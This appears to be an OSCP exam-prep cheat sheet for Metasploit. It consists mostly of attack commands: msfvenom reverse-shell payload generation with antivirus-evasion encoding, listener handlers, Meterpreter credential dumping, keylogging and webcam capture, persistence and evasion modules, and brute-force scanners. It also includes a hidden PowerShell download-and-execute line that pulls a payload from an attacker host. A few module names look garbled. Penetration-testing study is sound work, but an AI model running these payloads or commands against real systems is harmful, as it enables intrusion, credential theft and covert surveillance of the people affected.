Domain 5Pivoting & MetasploitCORE

Quick Reference Cheat Sheet

Comprehensive quick-reference cheat sheet for all Metasploit commands, msfvenom syntax, Meterpreter commands, resource script templates, and common OSCP exam patterns in a compact, exam-ready format.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#cheat-sheet#quick-reference#commands#oscp-exam

Quick Reference Cheat Sheet

Purpose: Compact, dense, exam-ready reference for Metasploit Framework operations. Optimized for rapid scanning during OSCP lab work and exam.


1. msfconsole Quick Commands

Command Description
msfconsole Launch Metasploit console
msfconsole -q Launch quietly (no banner)
msfconsole -r script.rc Launch and run resource script
exit / quit Exit msfconsole
help / ? Show available commands
clear Clear terminal screen
cls Clear terminal screen (alias)
back Go back one level
irb Enter Ruby IRB sandbox
version Show framework version

2. Module Workflow

The standard exploitation workflow in six steps:

search <keyword>        # Find relevant modules
use <module_path>       # Load the module
info                    # View module details and description
show options            # Display required and optional settings
set <OPTION> <value>    # Configure options (repeat as needed)
exploit                 # Execute the exploit (use -z -j for background)

Compact one-liner pattern:

search <keyword> → use <path> → show options → set RHOSTS <IP> → set PAYLOAD <payload> → set LHOST <IP> → exploit

Background exploit (handler pattern):

exploit -h              # Show exploit-specific help
exploit -j              # Run exploit in background (job)
exploit -z -j           # Run in background, don't open session auto
jobs                    # List background jobs
jobs -K                 # Kill all jobs
jobs -k <id>            # Kill specific job

3. Common Options Quick Reference

Option Description Typical Value Required?
RHOSTS Remote target host(s) 10.10.10.10 or 10.10.10.0/24 Yes
RHOST Single remote host (legacy) 10.10.10.10 Module-dependent
LHOST Local listener IP (your machine) 10.10.14.10 (tun0) Yes
LPORT Local listener port 4444 (default) Optional
RPORT Remote target port 80, 443, 8080, etc. Module-dependent
PAYLOAD Shellcode/payload to deliver windows/x64/meterpreter/reverse_tcp Yes
THREADS Concurrent operation threads 1 to 100+ Optional
URIPATH Custom URI path for handlers sm1234 Optional
SRVHOST Server bind address 0.0.0.0 Optional
SRVPORT Server listen port 8080, 4443 Optional
VERBOSE Verbose output true/false Optional
WORKSPACE Database workspace name oscp Optional

Bulk set multiple options:

setg RHOSTS 10.10.10.10
setg LHOST 10.10.14.10
setg PAYLOAD windows/x64/meterpreter/reverse_tcp

4. set vs setg

Feature set setg
Scope Current module only Global (all modules)
Persistence Lost on back Persists across module switches
Use Case One-off configuration Repeated exploitation workflow
Example set RHOSTS 10.10.10.10 setg RHOSTS 10.10.10.10
Unset unset RHOSTS unsetg RHOSTS

Exam tip: Use setg for LHOST and PAYLOAD when exploiting multiple targets with the same configuration.


5. msfvenom Quick Reference

Core Syntax

msfvenom -p <payload> [options] -f <format> -o <output> [encoding]

Windows Payloads

# Windows x64 Meterpreter Reverse TCP (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x64.exe

# Windows x86 Meterpreter Reverse TCP (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x86.exe

# Windows x64 Meterpreter Reverse TCP (EXE) with encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x64.exe -e x64/xor_dynamic -b '\x00\xff'

# Windows x86 with encoding and bad chars
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x86.exe -e shikata_ga_nai -b '\x00\x0a\x0d' -i 3

# Windows x64 Reverse Shell (non-meterpreter)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x64.exe

# Windows x86 Reverse Shell (non-meterpreter)
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell_x86.exe

Linux Payloads

# Linux x64 Meterpreter Reverse TCP (ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell_x64.elf

# Linux x86 Meterpreter Reverse TCP (ELF)
msfvenom -p linux/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell_x86.elf

# Linux x64 Reverse Shell (non-meterpreter)
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell_x64.elf

# Linux x86 Reverse Shell (non-meterpreter)
msfvenom -p linux/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell_x86.elf

Scripting / One-Liner Payloads

# PowerShell one-liner (reverse shell)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh -o shell.ps1

# PowerShell command execution (direct)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh-cmd

# PHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.php

# ASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -o shell.asp

# JSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.jsp

# WAR file (deployable archive)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o shell.war

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.py

# Bash reverse shell
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw

# Perl reverse shell
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw

Shellcode Extraction

# Raw shellcode (C format)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f c

# Raw shellcode (Python format)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f py

# Raw shellcode (Ruby format)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f ruby

# Raw shellcode (Ruby array)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f ruby -a x64 --platform windows

# Check payload size
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -e x64/xor_dynamic

Encoding and Bad Characters

# List all encoders
msfvenom -l encoders

# List encoders for specific platform
msfvenom -l encoders -p windows

# Apply encoder with iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e shikata_ga_nai -i 5 -f exe -o encoded.exe

# With bad characters (null, newline, carriage return)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e shikata_ga_nai -b '\x00\x0a\x0d' -i 3 -f exe -o encoded.exe

# Common bad char sets
# Buffer overflow:  \x00\x0a\x0d
# Stack buffer:    \x00
# Format string:   \x00\x20
# URL-based:       \x00\x20\x22\x27\x3c\x3e\x26\x25

6. msfvenom Format Reference

Format Extension Description
exe .exe Windows executable
elf .elf Linux ELF binary
dll .dll Windows DLL
aspx .aspx ASPX web shell
asp .asp ASP web shell
jsp .jsp JSP web shell
war .war Java WAR archive
php .php PHP script
phpexe .php PHP encoded executable
py .py Python script
pyexe .py Python executable
rb .rb Ruby script
raw — Raw binary payload
bash — Bash one-liner
ps1 .ps1 PowerShell script
psh — PowerShell encoded command
psh-cmd — PowerShell one-liner (cmd)
psh-net — PowerShell .NET one-liner
c — C source shellcode
csharp — C# source
java — Java source
lua — Lua source
pl — Perl script
vba — VBA macro code
vbs .vbs VBScript
xml .xml XML output
macho — macOS Mach-O binary
osx_macho — macOS Mach-O executable
index.html .html HTML with embedded payload

7. Meterpreter Commands Quick Reference

Command Description
cd <dir> Change directory
ls / dir List directory contents
ls -la Detailed listing (Linux-style)
pwd Print working directory
cat <file> Display file contents
search -f <name> -d <dir> Search for files

System Information

Command Description
sysinfo Display target system information
getuid Current user identity
getsystem Attempt privilege escalation to SYSTEM
ps List running processes
migrate <PID> Migrate Meterpreter to another process
kill <PID> Kill a process
execute -f <file> -H -i <port> Execute a file on target
getprivs Enable all applicable privileges
getsystem -e 1 Use technique 1 for escalation

File Operations

Command Description
upload <local> <remote> Upload file to target
download <remote> <local> Download file from target
download <remote> -z Download and zip
edit <file> Edit file on target (opens local editor)
rm <file> Delete file on target
mkdir <dir> Create directory on target
rmdir <dir> Remove directory on target
move <src> <dst> Move/rename file
cat <file> Read file contents

Network Operations

Command Description
ipconfig Show network configuration
ifconfig Show network configuration (alias)
netstat Show active connections
route Show routing table
portfwd add -l <local> -p <remote> -r <target> Create port forward
portfwd delete -l <local> Remove port forward
portfwd list List active port forwards
run autoroute -s <subnet> Add route to subnet
run autoroute -p Print active routes
run autoroute -d -s <subnet> Delete route

Credential Dumping

Command Description
load kiwi Load Meterpreter Kiwi extension
creds_all Dump all credentials (after kiwi)
sekurlsa::logonpasswords Dump logon passwords (Mimikatz)
sekurlsa::searchPasswords Search for specific passwords
sekurlsa::ekeys Extract encryption keys
sekurlsa::wdigest Dump WDigest credentials
sekurlsa::kerberos Dump Kerberos tickets
hashdump Dump SAM hash database
run post/windows/gather/smart_hashdump Smart hash dump (post module)

Post-Exploitation Tools

Command Description
screenshot Capture desktop screenshot
keyscan_start Start keystroke logger
keyscan_dump Dump captured keystrokes
keyscan_stop Stop keystroke logger
record_mic <secs> Record microphone audio
webcam_chat Open webcam chat
webcam_list List available webcams
webcam_snap Take webcam snapshot
timestomp Modify file timestamps

Session Management

Command Description
background / Ctrl+Z Background current session
shell Drop to system shell
exit Close Meterpreter session
quit Close Meterpreter session
irb Enter local Ruby sandbox
help Show Meterpreter help

8. Handler Resource Script Templates

Windows x64 Meterpreter Reverse TCP

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
set VERBOSE false
exploit -j -z

Windows x86 Meterpreter Reverse TCP

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
set VERBOSE false
exploit -j -z

Linux x64 Meterpreter Reverse TCP

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
set VERBOSE false
exploit -j -z

Linux x86 Meterpreter Reverse TCP

use exploit/multi/handler
set PAYLOAD linux/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
set VERBOSE false
exploit -j -z

Multi-Payload Handler (catch-all)

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
exploit -j -z

Reverse Shell Handler (non-Meterpreter)

use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST 10.10.14.10
set LPORT 4444
set ExitOnSession false
exploit -j -z

Usage

# Save as handler.rc, then:
msfconsole -r handler.rc

# Or load from within msfconsole:
resource handler.rc

9. Session Management

Command Description
sessions -l List all active sessions
sessions -v List sessions with verbose info
sessions -i <id> Interact with session
sessions -u <id> Upgrade session to Meterpreter
sessions -s <id> -t <secs> Reconnect to session (timeout)
sessions -k <id> Kill specific session
sessions -K Kill all sessions
sessions -c <cmd> Run command on all sessions
sessions -R <id> Run Meterpreter script on session

Upgrade shell to Meterpreter:

sessions -u <shell_session_id>

Run command on all sessions simultaneously:

sessions -c "sysinfo"
sessions -c "getuid"
sessions -c "ipconfig"

Background from within Meterpreter:

background
# or press Ctrl+Z

10. Post-Exploitation Quick Reference

Windows Post Modules

# Gather system info
use post/multi/gather/screen_scapes
use post/windows/gather/enum_applications
use post/windows/gather/enum_chrome
use post/windows/gather/enum_drivers
use post/windows/gather/forensics/enumernet
use post/windows/gather/credentials/gpp
use post/windows/gather/credentials/web_browsers

# Hash dumping
use post/windows/gather/hashdump
use post/windows/gather/smart_hashdump

# User enumeration
use post/windows/gather/enum_logged_on_users
use post/windows/gather/enum_ie

# Privilege escalation
use post/multi/rex/file_stat
use exploit/windows/local/always_install_elevated
use exploit/windows/local/bypassuac
use exploit/windows/local/ms14_058_track_popup_menu
use exploit/windows/local/ms16_032_apprecovery

# Persistence
use post/windows/manage/persistence_exe
use post/windows/manage/enable_rdp
use post/windows/manage/autorun

# Defense evasion
use post/windows/manage/execute_alias
use post/windows/manage/clear_pwdump_history
use post/windows/manage/manipulate_pagefile
use post/windows/manage/route_add

# SAM/SYSTEM extraction
use post/windows/gather/smart_hashdump
use post/windows/gather/sam/dump_hash

Linux Post Modules

# Gather system info
use post/linux/gather/enum_linux
use post/linux/gather/enum_crontabs
use post/linux/gather/enum_kernel
use post/linux/gather/enum_pivote

# Credential gathering
use post/linux/gather/enum_users
use post/linux/gather/proof_unix_id

# Privilege escalation
use exploit/linux/local/kernel/overlayfs
use exploit/linux/local/dirty_cow

# Persistence
use post/linux/manage/inline_execute_inline

Multi-Platform Post Modules

# Proof of access
use post/multi/gather/proof_unix_id
use post/multi/gather/proof_windows_id

# Screen capture
use post/multi/gather/screen_scapes

# File search
use post/multi/gather/file_fingerprint

# Pivoting
use post/multi/manage/autoroute

Common Post Module Workflow

use post/<platform>/gather/<module>
show options
set SESSION <id>
run / exploit

11. Auxiliary Quick Reference

Web Delivery Script

use exploit/multi/script/web_delivery
set TARGET 2              # PowerShell
set URIPATH /sm1234
set LHOST 10.10.14.10
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z

Target values for web_delivery:

Target Value Platform
Python 0 Linux/Windows
PowerShell 2 Windows
Bash 3 Linux
Ruby 4 Linux/Windows
PHP 5 Linux/Windows
Node.js 6 Linux/Windows

Port Scanning

# TCP Connect Scan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 21,22,80,443,445,3306,3389,5432,8080,8443
set THREADS 50
run

# SYN Scan (requires root)
use auxiliary/scanner/portscan/syn
set RHOSTS 10.10.10.0/24
set PORTS 1-10000
set THREADS 50
run

Brute Force

# RDP Brute Force
use auxiliary/scanner/rdp/rdp_brute
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

# SSH Brute Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

# SMB Brute Force
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

# FTP Brute Force
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

# MySQL Brute Force
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

# PostgreSQL Brute Force
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

Service Enumeration

# HTTP enumeration
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/robots.txt
use auxiliary/scanner/http/nikto

# SMB enumeration
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/pipe_auditor
use auxiliary/scanner/smb/ms17_010_command

# SNMP enumeration
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/ssh_via_snmp

# DNS zone transfer
use auxiliary/scanner/dns/dns_zone_transfer

Other Useful Auxiliary Modules

# SMB exploitation
use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms08_067_netapi

# Database exploitation
use exploit/multi/mysql/mysql_yassl_getname
use exploit/linux/postgres/copy_from_program

# Web exploitation
use exploit/multi/http/php_cgi_arg_injection
use exploit/unix/webapp/tomcat_mgr_upload

# GPP password extraction
use post/windows/gather/credentials/gpp

12. Database Commands

Database Connection

db_status                          # Check database connection status
db_connect postgres:msf@127.0.0.1:5432/msf_database   # Connect to PostgreSQL
db_disconnect                      # Disconnect from database

Workspace Management

workspace -a <name>                # Add workspace
workspace -d <name>                # Delete workspace
workspace -D <name>                # Delete workspace and data
workspace -u <name>                # Use workspace
workspace -l                       # List workspaces
workspace -v                       # View current workspace

Nmap Integration

db_nmap -A -T4 -sV <target>       # Run nmap with all options, save to DB
db_nmap -sV -p 80,443,8080 <target>  # Version scan specific ports
db_nmap -- -sC -sV <target>       # Default + version scan

Query Results

db_hosts                           # List all scanned hosts
db_hosts -C <criteria>             # Filter hosts (e.g., -C "state=up")
db_hosts -R <workspace>            # Show hosts from workspace
db_services                        # List all discovered services
db_services -H <host>              # Services on specific host
db_services -O <os>                # Filter by OS
db_services -p <port>              # Filter by port
db_services -V                     # Verbose service info

Credentials

db_ncreds                          # List all credentials
db_ncreds -f <format>              # Export format (csv, json, yaml)
db_ncreds -H <host>                # Credentials for specific host
dbcreds                            # (legacy) List credentials
loot                               # List all collected loot

Audit Management

audit -h                           # Help for audit commands

13. Common Payloads Reference

Windows Payloads

Payload Description Architecture
windows/x64/meterpreter/reverse_tcp Meterpreter reverse TCP x64
windows/meterpreter/reverse_tcp Meterpreter reverse TCP x86
windows/x64/meterpreter/reverse_https Meterpreter reverse HTTPS x64
windows/meterpreter/reverse_https Meterpreter reverse HTTPS x86
windows/x64/shell/reverse_tcp Command shell reverse TCP x64
windows/shell/reverse_tcp Command shell reverse TCP x86
windows/x64/meterpreter/reverse_tcp_allports Try all ports x64
windows/x64/powershell_reverse_tcp PowerShell reverse TCP x64
windows/x64/meterpreter/bind_tcp Meterpreter bind TCP x64
windows/meterpreter/bind_tcp Meterpreter bind TCP x86
windows/x64/exec Execute command x64
windows/x64/messagebox Display message box x64

Linux Payloads

Payload Description Architecture
linux/x64/meterpreter/reverse_tcp Meterpreter reverse TCP x64
linux/meterpreter/reverse_tcp Meterpreter reverse TCP x86
linux/x64/shell/reverse_tcp Command shell reverse TCP x64
linux/shell/reverse_tcp Command shell reverse TCP x86
linux/x64/meterpreter/reverse_https Meterpreter reverse HTTPS x64
linux/x64/meterpreter/bind_tcp Meterpreter bind TCP x64
linux/x64/exec Execute command x64

PHP Payloads

Payload Description
php/meterpreter_reverse_tcp PHP Meterpreter reverse TCP
php/meterpreter_reverse_tcp PHP Meterpreter (bind)
php/reverse_php PHP reverse shell

Java Payloads

Payload Description
java/jsp_shell_reverse_tcp JSP reverse shell
java/jsp_upload JSP upload utility
java/jsp_shell_bind_tcp JSP bind shell

Multi-Platform

Payload Description
multi/meterpreter/reverse_tcp Cross-platform Meterpreter
multi/script/web_delivery Web delivery script
multi/handler Generic payload handler

Payload Selection Decision Tree

Target OS known?
├── Windows
│   ├── x64 confirmed? → windows/x64/meterpreter/reverse_tcp
│   └── x86 or unknown → windows/meterpreter/reverse_tcp
├── Linux
│   ├── x64 confirmed? → linux/x64/meterpreter/reverse_tcp
│   └── x86 or unknown → linux/meterpreter/reverse_tcp
└── Unknown → Generate both x64 and x86, set up handlers for both

14. OSCP Exam Quick Checklist

Pre-Exploitation Checklist

[ ] Nmap scan completed and documented
[ ] All open ports identified
[ ] Service versions determined
[ ] Searchsploit run for each service
[ ] Manual exploitation attempted FIRST
[ ] Metasploit as secondary option
[ ] Handler resource scripts prepared
[ ] LHOST set to correct tun0 IP (10.10.14.x)
[ ] Multiple payload architectures ready (x64 + x86)

Exploitation Checklist

[ ] Manual exploit attempted (script/kb/compiled)
[ ] If manual fails, search Metasploit
[ ] search <service> in msfconsole
[ ] show options reviewed for all required fields
[ ] RHOSTS set to target IP
[ ] LHOST set to attacker tun0 IP
[ ] PAYLOAD appropriate for target architecture
[ ] Exploit executed and session captured
[ ] Session stabilized (migrate if needed)

Post-Exploitation Checklist

[ ] getuid confirmed
[ ] sysinfo documented
[ ] Privilege escalation attempted (getsystem / manual)
[ ] Credentials dumped (Mimikatz / hashdump)
[ ] Network enumeration completed (ipconfig, netstat, route)
[ ] File system searched for sensitive data
[ ] Proof files captured (whoami, hostname)
[ ] Screenshots taken for report

Documentation Checklist

[ ] Vulnerability name and CVE documented
[ ] Exploitation method recorded (manual vs. Metasploit)
[ ] Commands used documented with screenshots
[ ] Proof of access captured (whoami, id, hostname)
[ ] Privilege escalation steps documented
[ ] All evidence screenshots saved
[ ] Notes saved in Burp / text file for report

Common Exam Pitfalls

[ ] Using 10.10.10.x (Kali eth0) instead of 10.10.14.x (tun0) for LHOST
[ ] Forgetting to set ExitOnSession false in handlers
[ ] Not having handlers running before executing payload
[ ] Wrong payload architecture (x86 vs x64 mismatch)
[ ] Bad characters breaking shellcode in buffer overflows
[ ] Not migrating Meterpreter to stable process
[ ] Forgetting to document manual exploitation attempts first

Quick Troubleshooting

Problem Solution
Session dies immediately Migrate to stable process (migrate <PID>)
No reverse connection Verify LHOST is tun0 IP, check firewall
Payload rejected by AV Use encoding (-e), try different payload
getsystem fails Try manual escalation, check for vulnerabilities
Kiwi fails to load Already SYSTEM? Try getprivs first
Port forward not working Verify autoroute added, check target firewall
Handler not catching Verify LHOST/LPORT match payload, check -j -z flags
Meterpreter stuck background, then sessions -i <id>

Bonus: Rapid Reference One-Liners

Generate and serve payload in one shot

# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe -o /tmp/shell.exe

# Start handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.10; set LPORT 4444; set ExitOnSession false; exploit -j -z"

# Serve payload via Python
python3 -m http.server 80 --directory /tmp

web_delivery one-liner workflow

# In msfconsole:
use exploit/multi/script/web_delivery
set TARGET 2
set URIPATH /s
set LHOST 10.10.14.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z

# On target (PowerShell):
powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.10:8080/s')"

Credential dumping shortcut

# In Meterpreter:
load kiwi
creds_all
sekurlsa::logonpasswords
hashdump

# Alternative (post module):
use post/windows/gather/smart_hashdump
set SESSION 1
run

Pivot to internal network

# In Meterpreter:
run autoroute -s 10.20.0.0/16
run post/multi/manage/autoroute

# Then scan internal network:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.20.0.0/24
set PORTS 22,80,443,3306,3389
run

# Or use db_nmap through the route:
db_nmap -sV -Pn 10.20.0.0/24

Exam Reminder: Always attempt manual exploitation before using Metasploit. Document all attempts. Metasploit is a valid tool for the exam, but showing manual effort demonstrates deeper understanding.